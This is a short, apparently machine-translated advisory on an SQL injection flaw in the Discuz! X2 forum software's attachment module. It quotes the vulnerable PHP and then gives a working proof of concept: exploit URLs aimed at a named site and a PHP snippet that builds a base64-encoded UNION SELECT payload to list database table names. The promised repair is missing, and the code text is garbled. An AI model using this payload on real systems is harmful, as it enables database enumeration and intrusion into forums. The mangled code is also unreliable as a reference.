Discuz! X2 SQL injection vulnerability, supporting Union (including repair)

 

File: source \ module \ forum \ forum_attachment.php

 

If (! Defined ('in _ discuz ')){

Exit ('Access Denied ');

}

Define ('nobot ', TRUE );

@ List ($ _ G ['gp _ id'], $ _ G ['gp _ k'], $ _ G ['gp _ T'], $ _ G ['gp _ uid'], $ _ G ['gp _ tableid']) = explode ('| ', base64_decode ($ _ G ['gp _ id']);

 

If (! Empty ($ _ G ['gp _ findpost']) & ($ attach = DB: fetch_first ("SELECT pid, tid FROM ". DB: table ('Forum _ attachment '). "WHERE aid = '$ _ G [gp_aid]'") {

Dheader ('location: forum. php? Mod = redirect & goto = findpost & pid = '. $ attach ['pid']. '& ptid ='. $ attach ['tid']);

}

 

The variable aid is passed into the SQL query directly after base64_decode, resulting in an injection vulnerability...

Proof of vulnerability:

Http://www.bkjia.com/forum. php? Mod = attachment & findpost = ss & aid = attachment % 3D

 

Http://www.bkjia.com/forum. php? Mod = redirect & goto = findpost & pid = 1 & ptid = pre_common_admincp_member

 

Output Table Name: pre_common_admincp_member

 

The actual query is:

 

$ X = "1 'and 1 = 2 union all select 1, TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database () and TABLE_NAME like '% _ member | x ";

Die (urlencode (base64_encode ($ x )));

 

 

Solution: You know!